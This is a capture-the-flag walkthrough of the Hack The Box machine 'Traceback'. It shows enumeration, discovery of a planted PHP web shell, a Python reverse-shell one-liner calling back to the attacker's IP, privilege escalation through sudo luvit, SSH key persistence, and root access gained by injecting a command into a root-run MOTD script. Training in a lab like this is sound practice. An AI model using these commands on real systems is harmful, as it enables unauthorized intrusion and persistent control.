Previous Page

nihilist - 29 / 05 / 2021

Traceback Writeup

Introduction :



Traceback is an easy linux box released back in march 2020.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
→ nmap -vvv -p- 10.10.10.181 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered                                  
Discovered open port 80/tcp on 10.10.10.181
Discovered open port 22/tcp on 10.10.10.181

[ 10.10.14.13/23 ] [ /dev/pts/7 ] [~/HTB/Traceback]
→ nmap -sCV -p80,22 10.10.10.181
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-28 22:24 CEST
Nmap scan report for 10.10.10.181
Host is up (0.033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds

Part 2 : Getting User Access



Our nmap scan picked up port 80, so let's investigate it:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
→ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://10.10.10.181/

We can run a gobuster scan but it doesn't help us, so let's investigate further:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
→ curl 10.10.10.181


        

This site has been owned

I have left a backdoor for all the net. FREE INTERNETZZZ

- Xh4H -

<!--Some of the best web shells that you might need ;)-->

As we curl the website's sourcecode, we see a comment 'Some of the best web shells you might need', if we look for this comment on github we find the following repository:

And so we know what are the php files on this webserver, and we can save them in a textfile:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
→ cat files.txt
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jspmini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

So we run our gobuster scan with our textfile:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
→ gobuster dir -u http://10.10.10.181 -w files.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.181
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                files.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/29 09:57:50 Starting gobuster in directory enumeration mode
===============================================================
/smevk.php            (Status: 200) [Size: 1261]

===============================================================
2021/05/29 09:57:50 Finished
===============================================================

So let's investigate the page we found :

We login with the default credentials admin:admin, which leads us to one of the worst looking php shells of all time:

And we can execute commands as the webadmin user, and we can use python3 to get a reverse shell:


$ which python3
/usr/bin/python3

$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &

And then we simply catch the incoming reverse shell connection on our port 9001:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.181] 54782
bash: cannot set terminal process group (680): Inappropriate ioctl for device
bash: no job control in this shell
webadmin@traceback:/var/www/html$ id
id
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
webadmin@traceback:/var/www/html$ ls
ls
bg.jpg
index.html
smevk.php
webadmin@traceback:/var/www/html$

And we get a shell as the webadmin user!


webadmin@traceback:/var/www/html$ ls ~
ls ~
note.txt

webadmin@traceback:/var/www/html$ cd ~
cd ~
webadmin@traceback:/home/webadmin$ ls -lash
ls -lash
total 44K
4.0K drwxr-x--- 5 webadmin sysadmin 4.0K Apr 22 06:08 .
4.0K drwxr-xr-x 4 root     root     4.0K Aug 25  2019 ..
4.0K -rw------- 1 webadmin webadmin  105 Mar 16  2020 .bash_history
4.0K -rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
4.0K -rw-r--r-- 1 webadmin webadmin 3.7K Aug 23  2019 .bashrc
4.0K drwx------ 2 webadmin webadmin 4.0K Aug 23  2019 .cache
4.0K drwxrwxr-x 3 webadmin webadmin 4.0K Apr 22 06:08 .local
4.0K -rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
4.0K -rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
4.0K drwxrwxr-x 2 webadmin webadmin 4.0K Feb 27  2020 .ssh
4.0K -rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16  2020 note.txt

webadmin@traceback:/var/www/html$ cat ~/note.txt
cat ~/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

As we take a look around, we see that the sysadmin left a 'tool to practice lua' so let's take a look at what the user can do:


webadmin@traceback:/home/webadmin$ sudo -l
sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

Here we see that we have access to the luvit binary, which can be executed as sysadmin with no password. We also take a look at the user's history:


webadmin@traceback:/home/webadmin$ history
history
    1  ls -la
    2  sudo -l
    3  nano privesc.lua
    4  sudo -u sysadmin /home/sysadmin/luvit privesc.lua
    5  rm privesc.lua
    6  logout
    7  id
    8  ls
    9  ls ~
   10  cat ~/note.txt
   11  cd ~
   12  ls -lash
   13  sudo -l
   14  history

And here you see why this box is called Traceback, the hacker didn't remove the traces of their presence, and thus we see that they were using a file called privesc.lua in alongside the the /home/sysadmin/luvit binary. So let's see what they were trying to do after we upgrade our reverse shell to a fully interactive one:


webadmin@traceback:/home/webadmin$ tty
tty
not a tty
webadmin@traceback:/home/webadmin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
webadmin@traceback:/home/webadmin$ ^Z #this means CTRL+Z
[1]  + 3346006 suspended  nc -lvnp 9001

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
→ stty raw -echo ; fg
[1]  + 3346006 continued  nc -lvnp 9001
webadmin@traceback:/home/webadmin$ export TERM=screen-256color
webadmin@traceback:/home/webadmin$ export SHELL=bash
webadmin@traceback:/home/webadmin$ stty rows 40 columns 125
webadmin@traceback:/home/webadmin$ reset

So we can use the luvit binary to run lua code as the sysadmin user, so let's spawn a shell with it:


webadmin@traceback:/home/webadmin$ nano priv.lua

require('os');
os.execute('/bin/bash');

CTRL+S CTRL+X

webadmin@traceback:/home/webadmin$ sudo -u sysadmin /home/sysadmin/luvit ./priv.lua
sysadmin@traceback:/home/webadmin$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
sysadmin@traceback:/home/webadmin$ cd ~
sysadmin@traceback:~$ ls
luvit  user.txt
sysadmin@traceback:~$ cat user.txt
08XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to privesc to the sysadmin user, and print the user flag.

Part 3 : Getting Root Access



Now we don't want to do all these steps to get a shell as the sysadmin user, so we're going to add our ssh public key to ssh directly as the sysadmin user:


sysadmin@traceback:~$ stty rows 80 columns 200
sysadmin@traceback:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere' >> ~/.ssh/authorized_keys

sysadmin@traceback:~$ exit
exit
webadmin@traceback:/home/webadmin$ exit
exit
webadmin@traceback:/home/webadmin$ exit
                                       exit
                                           %                                                                                                                                                                                                                  
[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
                                                   → exit

Then ssh as the sysadmin user with the associated private key:


[ 10.10.14.13/23 ] [ /dev/pts/13 ] [~/HTB/Traceback]
→ ssh sysadmin@10.10.10.181 -i ~/.ssh/id_ed25519
The authenticity of host '10.10.10.181 (10.10.10.181)' can't be established.
ECDSA key fingerprint is SHA256:7PFVHQKwaybxzyT2EcuSpJvyQcAASWY9E/TlxoqxInU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.181' (ECDSA) to the list of known hosts.
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land



Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ bash
sysadmin@traceback:~$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

Now in order to privesc to the root user, we need to monitor the processes that are running on the server, especially if there are any that are being run regularly by the root user, and to do so we can use pspy:


[ 10.10.14.13/23 ] [ /dev/pts/7 ] [~/HTB/Traceback]
→ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
--2021-05-29 10:45:10--  https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github-releases.githubusercontent.com/120821432/d54f2200-c51c-11e9-9594-737e4ba5e6fe?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210529%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210529T084505Z&X-Amz-Expires=300&X-Amz-Signature=ef1682d371721693120b61f6e0d48ee367f1f0008248f94748c01642371207f1&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=120821432&response-content-disposition=attachment%3B%20filename%3Dpspy64s&response-content-type=application%2Foctet-stream [following]
--2021-05-29 10:45:10--  https://github-releases.githubusercontent.com/120821432/d54f2200-c51c-11e9-9594-737e4ba5e6fe?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210529%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210529T084505Z&X-Amz-Expires=300&X-Amz-Signature=ef1682d371721693120b61f6e0d48ee367f1f0008248f94748c01642371207f1&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=120821432&response-content-disposition=attachment%3B%20filename%3Dpspy64s&response-content-type=application%2Foctet-stream
Resolving github-releases.githubusercontent.com (github-releases.githubusercontent.com)... 185.199.108.154, 185.199.110.154, 185.199.111.154, ...
Connecting to github-releases.githubusercontent.com (github-releases.githubusercontent.com)|185.199.108.154|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1156536 (1.1M) [application/octet-stream]
Saving to: ‘pspy64s’

pspy64s                                                         100%[=====================================================================================================================================================>]   1.10M  3.50MB/s    in 0.3s

2021-05-29 10:45:11 (3.50 MB/s) - ‘pspy64s’ saved [1156536/1156536]


[ 10.10.14.13/23 ] [ /dev/pts/7 ] [~/HTB/Traceback]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

sysadmin@traceback:~$ which curl wget
/usr/bin/wget

sysadmin@traceback:~$ wget http://10.10.14.13:9090/pspy64s -O /dev/shm/pspy
--2021-05-29 01:54:04--  http://10.10.14.13:9090/pspy64s
Connecting to 10.10.14.13:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1156536 (1.1M) [application/octet-stream]
Saving to: ‘/dev/shm/pspy’

/dev/shm/pspy                                                   100%[=====================================================================================================================================================>]   1.10M   312KB/s    in 3.5s

2021-05-29 01:54:07 (321 KB/s) - ‘/dev/shm/pspy’ saved [1156536/1156536]

sysadmin@traceback:~$ chmod +x /dev/shm/pspy
sysadmin@traceback:~$ /dev/shm/pspy
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done

[...]

2021/05/29 01:54:21 CMD: UID=1001 PID=1310   | /dev/shm/pspy
2021/05/29 01:54:21 CMD: UID=0    PID=1305   | sleep 30
2021/05/29 01:54:21 CMD: UID=0    PID=1304   | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
2021/05/29 01:54:21 CMD: UID=0    PID=1302   | /usr/sbin/CRON -f
2021/05/29 01:54:21 CMD: UID=0    PID=13     |
2021/05/29 01:54:21 CMD: UID=1001 PID=1236   | bash
2021/05/29 01:54:21 CMD: UID=1001 PID=1226   | -sh
2021/05/29 01:54:21 CMD: UID=1001 PID=1224   | sshd: sysadmin@pts/0
2021/05/29 01:54:21 CMD: UID=0    PID=121    |
2021/05/29 01:54:21 CMD: UID=1001 PID=1200   | (sd-pam)
2021/05/29 01:54:21 CMD: UID=0    PID=12     |
2021/05/29 01:54:21 CMD: UID=1001 PID=1199   | /lib/systemd/systemd --user
2021/05/29 01:54:21 CMD: UID=0    PID=1197   | sshd: sysadmin [priv]
2021/05/29 01:54:31 CMD: UID=0    PID=1323   | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/

[...]


Here we see that the UID 0 (the root user) runs the cp command from /var/backups/.update-motd.d/ to the /etc/update-motd.d/ directory.


sysadmin@traceback:~$ ls -lash /etc/update-motd.d/
total 32K
4.0K drwxr-xr-x  2 root sysadmin 4.0K Apr 22 06:08 .
4.0K drwxr-xr-x 80 root root     4.0K Apr 22 06:08 ..
4.0K -rwxrwxr-x  1 root sysadmin  981 May 29 01:58 00-header
4.0K -rwxrwxr-x  1 root sysadmin  982 May 29 01:58 10-help-text
8.0K -rwxrwxr-x  1 root sysadmin 4.2K May 29 01:58 50-motd-news
4.0K -rwxrwxr-x  1 root sysadmin  604 May 29 01:58 80-esm
4.0K -rwxrwxr-x  1 root sysadmin  299 May 29 01:58 91-release-upgrade
sysadmin@traceback:~$ cat /etc/update-motd.d/00-header
#!/bin/sh
#
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release


echo "\nWelcome to Xh4H land \n"

the 00-header file in particular is responsible for what message appears when you SSH into the machine, and any code in that file will be run as the root account since the ssh-server service is ran by the root user. Since the file is owned by the sysadmin user and ran by the root user, the sysadmin user can run commands as the root user. such as allowing our public key to be used to login as the root user:


sysadmin@traceback:/etc/update-motd.d$ echo "cp /home/sysadmin/.ssh/authorized_keys /root/.ssh/" >> 00-header

Now to run the command we added, we ssh as the sysadmin user:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback]
→ ssh sysadmin@10.10.10.181 -i ~/.ssh/id_ed25519
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land

and before the 30 second cleanup happens, we login as the root user:


[ 10.10.14.13/23 ] [ /dev/pts/31 ] [~/HTB/Traceback]
→ ssh root@10.10.10.181 -i ~/.ssh/id_ed25519
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Apr 26 02:23:35 2021
root@traceback:~# id
uid=0(root) gid=0(root) groups=0(root)
root@traceback:~# cat root.txt
c4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Conclusion



Here we can see the progress graph :